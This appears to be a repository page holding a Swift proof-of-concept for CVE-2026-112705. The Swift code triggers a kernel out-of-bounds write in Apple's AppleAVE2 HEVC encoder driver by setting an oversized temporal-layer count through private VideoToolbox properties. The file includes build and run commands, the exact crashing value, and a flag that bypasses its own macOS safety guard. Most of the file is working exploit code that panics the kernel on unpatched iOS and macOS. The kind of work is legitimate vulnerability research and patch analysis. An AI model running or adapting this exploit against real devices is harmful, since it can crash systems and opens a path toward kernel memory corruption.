- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7 assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE code change or bypass fix - tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext extractor, llvm-objdump diff, advisory mapper - CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module now sweeps 0/1/7/8/64/1024/16462/16463 - app 2.3 build 7
119 lines
5.3 KiB
Swift
119 lines
5.3 KiB
Swift
// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705
|
|
// Kernel out-of-bounds write through NumberOfTemporalLayers.
|
|
//
|
|
// The encoder session accepts a layer count far past the table the driver sized.
|
|
// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset
|
|
// past its allocation; the kernel faults and the device panics. 16462 survives.
|
|
// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900.
|
|
// macOS carries the same driver: encode with a poisoned layer count can panic the
|
|
// host kernel, so this file refuses to submit a frame unless --force-host is given.
|
|
//
|
|
// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \
|
|
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo
|
|
// Run: ./cve-2026-112705 [layers] [--force-host] default 16463
|
|
// ./cve-2026-112705 --sweep property acceptance 0..12, no frame
|
|
|
|
import Foundation
|
|
import VideoToolbox
|
|
import CoreMedia
|
|
import CoreVideo
|
|
|
|
let args = CommandLine.arguments
|
|
let forceHost = args.contains("--force-host")
|
|
let sweep = args.contains("--sweep")
|
|
let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463
|
|
|
|
func fourCC(_ v: OSStatus) -> String {
|
|
let n = UInt32(bitPattern: v)
|
|
let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)]
|
|
if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" }
|
|
return "\(v)"
|
|
}
|
|
|
|
func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus {
|
|
VTSessionSetProperty(session, key: key as CFString, value: value)
|
|
}
|
|
|
|
func readBack(_ session: VTCompressionSession, _ key: String) -> String {
|
|
var out: CFTypeRef?
|
|
let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out)
|
|
guard st == 0, let v = out else { return "copyErr=\(st)" }
|
|
return "value=\(v)"
|
|
}
|
|
|
|
var session: VTCompressionSession?
|
|
// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path.
|
|
let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault,
|
|
width: 1280, height: 720,
|
|
codecType: kCMVideoCodecType_HEVC,
|
|
encoderSpecification: nil,
|
|
imageBufferAttributes: nil,
|
|
compressedDataAllocator: nil,
|
|
outputCallback: nil,
|
|
refcon: nil,
|
|
compressionSessionOut: &session)
|
|
print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))")
|
|
guard create == 0, let s = session else { exit(1) }
|
|
|
|
// The recipe: private usage selector 1 with rate-control mode 20 puts the session on
|
|
// the AVE2 firmware path; real-time off keeps the frame queued.
|
|
let su = set(s, "EncoderUsage", NSNumber(value: 1))
|
|
let sr = set(s, "RCMode", NSNumber(value: 20))
|
|
_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse)
|
|
print("EncoderUsage=\(su) RCMode=\(sr)")
|
|
|
|
let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers))
|
|
print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))")
|
|
|
|
if sweep {
|
|
// 27.2 clamps to 0...7; 27.0/27.0.1 accepts the full range.
|
|
print("sweep: NTL acceptance 0...12 (no frame submitted)")
|
|
for n in 0...12 {
|
|
let st = set(s, "NumberOfTemporalLayers", NSNumber(value: n))
|
|
print("NTL \(n): status=\(st)")
|
|
}
|
|
VTCompressionSessionInvalidate(s)
|
|
exit(0)
|
|
}
|
|
|
|
if sn != 0 {
|
|
print("property refused — fixed build (27.2+) or a platform without the AVE2 property")
|
|
VTCompressionSessionInvalidate(s)
|
|
exit(0)
|
|
}
|
|
|
|
#if os(macOS)
|
|
if !forceHost {
|
|
print("host guard: property accepted but no frame submitted.")
|
|
print("submitting a frame here can panic the macOS kernel through AppleAVE2.")
|
|
print("re-run with --force-host on a disposable machine to fire it.")
|
|
VTCompressionSessionInvalidate(s)
|
|
exit(0)
|
|
}
|
|
#endif
|
|
|
|
// One IOSurface-backed bi-planar frame is enough: the write lands while the driver
|
|
// prepares the frame, before any compressed output exists.
|
|
var attrs: [CFString: Any] = [:]
|
|
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
|
|
var pixelBuffer: CVPixelBuffer?
|
|
let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
|
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
|
attrs as CFDictionary, &pixelBuffer)
|
|
print("CVPixelBufferCreate status=\(pc)")
|
|
guard pc == 0, let pb = pixelBuffer else { exit(1) }
|
|
|
|
for i in 0..<4 {
|
|
let pts = CMTime(value: CMTimeValue(i), timescale: 30)
|
|
let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb,
|
|
presentationTimeStamp: pts,
|
|
duration: .invalid,
|
|
frameProperties: nil,
|
|
infoFlagsOut: nil) { _, _, _ in }
|
|
print("encode[\(i)] status=\(st) \(fourCC(st))")
|
|
if st != 0 { break }
|
|
}
|
|
VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid)
|
|
print("survived — this build does not panic (fixed build or simulator)")
|
|
VTCompressionSessionInvalidate(s)
|